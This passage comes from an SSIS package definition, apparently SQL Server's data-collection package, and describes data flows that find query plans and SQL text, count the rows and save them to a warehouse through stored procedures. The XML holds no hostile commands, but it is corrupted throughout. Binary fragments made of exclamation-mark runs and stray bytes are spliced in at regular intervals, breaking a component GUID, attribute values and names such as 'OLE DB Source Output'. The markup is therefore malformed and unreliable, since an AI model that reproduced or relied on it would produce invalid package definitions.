plan.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Identified query plans count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Identified query plans count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlPlanUpdateRowCountOut</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Identified query plans count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Identified query plans count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Identified query plans count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unidentified query plans count" componentClassID="{	!!!!!!!!!!!!!!!!!!!!!!!!`B>	VHvE2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Unidentified query plans count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlPlanUpdateRowCountError</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unidentified query plans count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unidentified query plans count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unidentified query plans count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unknown query plans count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Unknown query plans count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::SqlPlanUpdateRowCountIn</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unknown query plans count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unknown query plans count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unknown query plans count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component></components><paths><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text.Paths[Lookup Match Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Identified query plans count.Inputs[Row Count Input 1]" name="Lookup Match Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text.Paths[Lookup No Match Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unidentified query plans count.Inputs[Row Count Input 1]" name="Lookup No Match Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup No Match Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text.Paths[OLE DB Source Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unknown query plans count.Inputs[Row Count Input 1]" name="OLE DB Source	!!!!!!!!!!!!!!!!!!!!!!!!`C?EHv Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text.Paths[Row Count Output 11]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Identified query plans count.Outputs[Row Count Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text.Paths[Row Count Output 1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\RC - Unknown query plans count.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{94FEA859-9BBC-479F-ACE0-3C421AE9D4A9}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Find and save sql text" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{E0C36EF4-0371-4EDB-B268-696CAEA1EC54}" DTS:EvaluateAsExpression="True" DTS:Expression="&quot;EXEC [snapshots].[sp_get_unknown_query_text] @source_id = &quot; +  (DT_WSTR,50) @[User::SourceId]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SourceSqlQuery"><DTS:VariableValue DTS:DataType="8">EXEC [snapshots].[sp_get_unknown_query_text] @source_id = 1</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server" componentClassID="{671046B0-AA63-4C9F-90E4-C06E0B710CE3}" contactInfo="Lookup;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;5" description="Looks up values in a reference dataset by using exact matching." name="LKUP - Look up query text on target server" usesDispositions="true" version="6"><properties><property dataType="System.String" description="Specifies the SQL statement that generates the lookup table." expressionType="Notify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">[dbo].[sp_syscollector_sql_text_lookup] ?</property><property dataType="System.String" description="Specifies a SQL statement that uses parameters to generate the lookup table." expressionType="Notify" name="SqlCommandParam" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">[dbo].[sp_syscollector_sql_text_lookup] ?</property><property dataType="System.Int32" description="Specifies the type o	!!!!!!!!!!!!!!!!!!!!!!!!`D?8Hvf connection used to access the reference dataset." name="ConnectionType" typeConverter="LookupConnectionType">0</property><property dataType="System.Int32" description="Specifies the cache type of the lookup table." name="CacheType" typeConverter="CacheType">2</property><property dataType="System.Int32" description="Specifies how the Lookup transformation handles rows without matching entries in the reference data set." name="NoMatchBehavior" typeConverter="LookupNoMatchBehavior">1</property><property dataType="System.Int32" description="Specifies the percentage of the cache that is allocated for rows with no matching entries in the reference dataset." name="NoMatchCachePercentage">0</property><property dataType="System.Int32" description="Maximum Memory Usage for Reference Cache on a 32 bit platform." name="MaxMemoryUsage">25</property><property dataType="System.Int64" description="Maximum Memory Usage for Reference Cache on a 64 bit platform." name="MaxMemoryUsage64">25</property><property dataType="System.String" description="Indicates whether to reference metadata in an XML format." name="ReferenceMetadataXml">&lt;referenceMetadata&gt;&lt;referenceColumns&gt;&lt;referenceColumn name="sql_handle" dataType="DT_BYTES" length="64" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="database_id" dataType="DT_I2" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="object_id" dataType="DT_I4" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="object_name" dataType="DT_WSTR" length="128" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="sql_text" dataType="DT_NTEXT" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;/referenceColumns&gt;&lt;/referenceMetadata&gt;</property><property containsID="true" dataType="System.String" description="Specifies the list of lineage identifiers that map to the parameters that the SQL statement in the SQLCommand property uses. Entries in the list are separated by semicolons." name="ParameterMap">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[sql_handle]};</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Determines whether duplicate keys in the reference data should be treated as errors when full cache mode is used." name="TreatDuplicateKeysAsError">false</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[ConfigConnection2]" connectionManagerRefId="Package.ConnectionManagers[ConfigConnection2]" description="Connection manager used to access lookup data." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Inputs[Lookup Input]" name="Lookup Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Inputs[Lookup Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[sql_handle]"><properties><property dataType="System.String" description="Specifies the column in the reference table that a column joins." name="JoinToReferenceColumn">sql_handle</property><p	!!!!!!!!!!!!!!!!!!!!!!!!`E?	џHvroperty dataType="System.Null" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn"/></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output]" errorOrTruncationOperation="Lookup" exclusionGroup="1" name="Lookup Match Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Inputs[Lookup Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[database_id]" dataType="i2" errorOrTruncationOperation="Copy Column" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[database_id]" name="database_id" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">database_id</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[object_id]" dataType="i4" errorOrTruncationOperation="Copy Column" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[object_id]" name="object_id" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">object_id</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[object_name]" dataType="wstr" errorOrTruncationOperation="Copy Column" length="128" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[object_name]" name="object_name" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">object_name</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[sql_text]" dataType="nText" errorOrTruncationOperation="Copy Column" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[sql_text]" name="sql_text" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">sql_text</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup No Match Output]" description=	!!!!!!!!!!!!!!!!!!!!!!!!`F?
//Hv"The Lookup output that handles rows with no matching entries in the reference dataset. Use this output when the NoMatchBehavior property is set to &quot;Send rows with no matching entries to the no match output.&quot;" exclusionGroup="1" name="Lookup No Match Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Inputs[Lookup Input]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Error Output]" exclusionGroup="1" isErrorOut="true" name="Lookup Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Inputs[Lookup Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="ODS - Get all sql handles without saved sql text" usesDispositions="true" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">snapshots.sp_get_unknown_query_text @source_id = 3</property><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable">User::SourceSqlQuery</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessM	!!!!!!!!!!!!!!!!!!!!!!!!`G?.ğ]Hvode">3</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output]" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[source_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].ExternalColumns[source_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[source_id]" name="source_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[sql_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[sql_handle]" name="sql_handle" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].ExternalColumns[source_id]" dataType="i4" name="source_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/></externalMetadataColumns></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[source_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[source_id]" name="source_id"/><outputColumn refId="Package\SEQ - Capture and analyze query s	!!!!!!!!!!!!!!!!!!!!!!!!`H?)RbHvtatistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse" componentClassID="{93FFEC66-CBC8-4C7F-9C6A-CB1C17A7567D}" contactInfo="OLE DB Command;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Executes an SQL command for each row in a dataset." name="ODS - Save query text to warehouse" usesDispositions="true" version="2"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="The SQL command to be executed." expressionType="Notify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">EXEC snapshots.sp_update_query_text ?, ?, ?, ?, ?, ?</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input]" errorOrTruncationOperation="Command Execution" errorRowDisposition="IgnoreFailure" hasSideEffects="true" name="OLE DB Command Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save que	!!!!!!!!!!!!!!!!!!!!!!!!`I?-$J$Hvry text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@sql_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].Columns[source_id]" cachedDataType="i4" cachedName="source_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@source_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Get all sql handles without saved sql text.Outputs[OLE DB Source Output].Columns[source_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].Columns[database_id]" cachedDataType="i2" cachedName="database_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@database_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[database_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].Columns[object_id]" cachedDataType="i4" cachedName="object_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[object_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].Columns[object_name]" cachedDataType="wstr" cachedLength="128" cachedName="object_name" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_name]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[object_name]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].Columns[sql_text]" cachedDataType="nText" cachedName="sql_text" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@sql_text]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\LKUP - Look up query text on target server.Outputs[Lookup Match Output].Columns[sql_text]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@s	!!!!!!!!!!!!!!!!!!!!!!!!`J?Hvql_handle]" dataType="bytes" length="64" name="@sql_handle"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@source_id]" dataType="i4" name="@source_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@database_id]" dataType="i2" name="@database_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_id]" dataType="i4" name="@object_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_name]" dataType="wstr" length="128" name="@object_name"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@sql_text]" dataType="nText" name="@sql_text"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">193</property></properties></externalMetadataColumn></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Outputs[OLE DB Command Output]" exclusionGroup="1" name="OLE DB Command Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to warehouse.Inputs[OLE DB Command Input]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save sql text\ODS - Save query text to 